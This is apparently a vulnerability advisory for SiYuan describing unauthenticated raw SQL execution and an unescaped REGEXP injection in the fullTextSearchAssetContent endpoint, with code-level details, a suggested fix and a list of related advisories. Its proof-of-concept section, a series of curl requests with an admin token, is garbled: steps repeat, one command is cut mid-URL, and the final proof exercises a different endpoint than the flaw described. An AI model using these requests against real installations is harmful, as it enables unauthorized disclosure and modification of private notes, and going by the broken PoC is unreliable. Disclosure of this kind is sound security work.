Résumé
SiYuan: Unauthenticated SQL execution and REGEXP injection via fullTextSearchAssetContent (publish mode): reader-reachable raw SQL (method 2) and unescaped REGEXP (method 3) on read-write asset-content DB
Détails de l’avis
CVE: This vulnerability corresponds to CVE-2026-69083.
Summary
The /api/search/fullTextSearchAssetContent endpoint exposes two SQL flaws on the asset-content database, both reachable by the publish RoleReader token and by the anonymous account when Publish.Auth.Enable is false:
- method 2 passes a client-supplied SQL statement to the read-write asset-content DB with no single-statement or read-only guard, and without the admin restriction its sibling
fullTextSearchBlockapplies to the same SQL method. - method 3 builds a
REGEXPclause by concatenating the client expression with no quote-escaping, permitting SQL breakout while the equivalent block-search builder does escape.
Both run on a read-write handle through a statement-stacking-capable driver, spanning the cross-notebook asset-content store.
Details
Route / auth tier. router.go: Handle("POST", "/api/search/fullTextSearchAssetContent", model.CheckAuth, fullTextSearchAssetContent), CheckAuth only. Anonymous/reader reachable on the publish surface. parseSearchAssetContentArgs reads method and query straight from the JSON body with no constraint, so both are fully client-controlled.
Missing admin guard (contrast with the sibling). fullTextSearchBlock rejects the SQL method for non-admins (if method == 2 && !IsAdminRoleContext(c)). fullTextSearchAssetContent has no such check on its handler, so the SQL method is reachable by a reader.
method 2 : raw SQL, no statement guard. Dispatch: FullTextSearchAssetContent case 2 → searchAssetContentBySQL(query, …). After filterQueryInvisibleChars + TrimSpace, the statement is passed to sql.SelectAssetContentsRawStmt(stmt, …) → queryAssetContent → assetContentDB.Query(query) directly, with no CheckSingleStatement/CheckReadonlyStatement. The assetContentDB DSN sets no mode=ro/_query_only, so the handle is read-write (same 88250/go-sqlite3 fork).
method 3 : unescaped REGEXP concatenation. Dispatch → assetContentFieldRegexp(exp), which writes (name REGEXP '<exp>' OR content REGEXP '<exp>') by concatenation with no ' escaping. exp reaches it after only filterQueryInvisibleChars (strips invisible characters, not quotes). The parallel block-search builder fieldRegexp performs ReplaceAll(regexp, "'", "''") before wrapping, this asset builder omits that step. A single quote in exp breaks out of the literal into SQL context. The result runs via SelectAssetContentsRawStmtNoParse → queryAssetContent → direct assetContentDB.Query, again with no single/read-only guard.
Post-hoc filter. FilterAssetContentByPublishAccess runs on the results after the query executes; it filters rows and does not constrain the statement (same timing as the accepted searchDocs/searchEmbedBlock findings).
Handle / stacking / scope. Read-write asset-content DB, 88250/go-sqlite3 stacking-capable driver, ATTACH available. The asset-content store spans notebooks cross-boundary.
Impact
An unauthenticated request (publish mode with auth disabled) or any publish RoleReader can, via method 2, execute arbitrary SQL on the read-write asset-content database, and via method 3, inject SQL through the unescaped REGEXP clause. Both permit cross-notebook read disclosure of asset-content data and, via the read-write handle and statement stacking, modification of database content and ATTACH-reachable files. No admin role or write permission through the normal API is required. Code execution is not reachable in the default build (no load_extension).
PoC Steps
- Create a doc with a heading and secret body (6806, admin token)
curl -s -X POST http://127.0.0.1:6806/api/notebook/createNotebook -H "Content-Type: application/json" -H "Authorization: Token g4wj3r04ntobe9m4" -d "{\"name\":\"F3\"}"
Take the returned notebook id as BOX, then:
curl -s -X POST http://127.0.0.1:6806/api/filetree/createDocWithMd -H "Content-Type: application/json" -H "Authorization: Token g4wj3r04ntobe9m4" -d "{\"notebook\":\"BOX\",\"path\":\"/f3-secret\",\"markdown\":\"## SecretSection\n\nUNIQUE_MARKER_99 hidden body text\"}"
The returned string is the doc root id → DOC.
- Get the heading block id (admin SQL on 68
curl -s -X POST http://127.0.0.1:6806/api/notebook/createNotebook -H "Content-Type: application/json" -H "Authorization: Token g4wj3r04ntobe9m4" -d "{\"name\":\"F3\"}"
Take the returned notebook id as BOX, then:
curl -s -X POST http://127.0.0.1:6806/api/fintent-Type: application/json" -H"Authorization: Token g4wj3r04ntobe9m4" -d "{\"notebook\":\"BOX\",\"path\":\"/f3-secret\",\"markdown\":\"## SecretSection\n\nUNIQUE_MARKER_99 hidden body text\"}"
The returned string is the doc root id → DOC.
- Get the heading block id (admin SQL on 6806)
curl -s -X POST http://127.0.0.1:6806/api/query/sql -H "Content-Type: application/json" -H "Authorization: Token g4wj3r04ntobe9m4" -d "{\"stmt\":\"SELECT id,type,content FROM blocks WHERE type='h'\"}"
Copy the id whose content is SecretSection → HEADING.
- Mark the doc forbidden from publishing (admin)
curl -s -X POST http://127.0.0.1:6806/api/filetree/setPublishAccess -H "Content-Type: application/json" -H "Authorization: Token g4wj3r04ntobe9m4" -d "{\"id\":\"DOC\",\"visible\":false,\"password\":\"\",\"disable\":true}"
Now the doc is explicitly excluded from the
- Baseline: the admin-gated sibling refuses the reader
curl -i -X POST http://127.0.0.1:6808/api/block/getBlockDOM -H "Content-Type: application/json" -d "{\"id\":\"HEADING\"}"
→ expect 403 (getBlockDOM is CheckAdminRole). This is how raw-DOM retrieval is supposed to be gated.
- THE PROOF: reader pulls the forbidden doc's content anyway
curl -i -X POST http://127.0.0.1:6808/api/block/getHeadingChildrenDOM -H "Content-Type: application/json" -d "{\"id\":\"HEADING\"}"
→ 200 status code and data contains the rendered HTML including UNIQUE_MARKER_99 hidden body text full content of a doc that is disabled from publishing, returned to an anonymous reader with no filter.
Suggested fix
Bring fullTextSearchAssetContent in line with its block-search twin: apply the method == 2 && !IsAdminRoleContext rejection, route the raw-SQL path through CheckSingleStatement/CheckReadonlyStatement, and add ReplaceAll(exp, "'", "''") in assetContentFieldRegexp to match fieldRegexp. Ideally run reader-reachable asset-content reads on a _query_only=1 handle so no reader-reachable path can write or ATTACH.
Références
- https://github.com/advisories/GHSA-fph3-ghq9-vw66
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fph3-ghq9-vw66
- https://nvd.nist.gov/vuln/detail/CVE-2026-69083
- https://github.com/siyuan-note/siyuan/commit/cf42dd5680c8f2d50cebfada5d639c8d59faf50e
- https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-fulltextsearchassetcontent
Vulnérabilités liées
Tout Supply chain →- HIGHGHSA-7q9c-hpx7-9cwm
TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop
- CRITICALCVE-2026-73842
OpenChoreo: cluster-gateway internal proxy performs no caller authentication and is not read-only — data-plane Secret disclosure and arbitrary Kubernetes mutation
- MEDIUMCVE-2026-73557
vLLM: Incomplete CVE-2025-62164 remediation can be bypassed by concurrent prompt parts
- MEDIUMCVE-2026-73556
vLLM: ReDoS via structured_outputs.regex in the lm-format-enforcer backend (no compile timeout) — missed sibling of GHSA-rwxx-mrjm-wc2m
- MEDIUMCVE-2026-73555
vLLM: Unauthenticated Internal Path and Username Disclosure via Validation Error Messages
- MEDIUMCVE-2026-71486
vLLM: Derender endpoints decode caller-supplied GenerateResponse token IDs without output bounds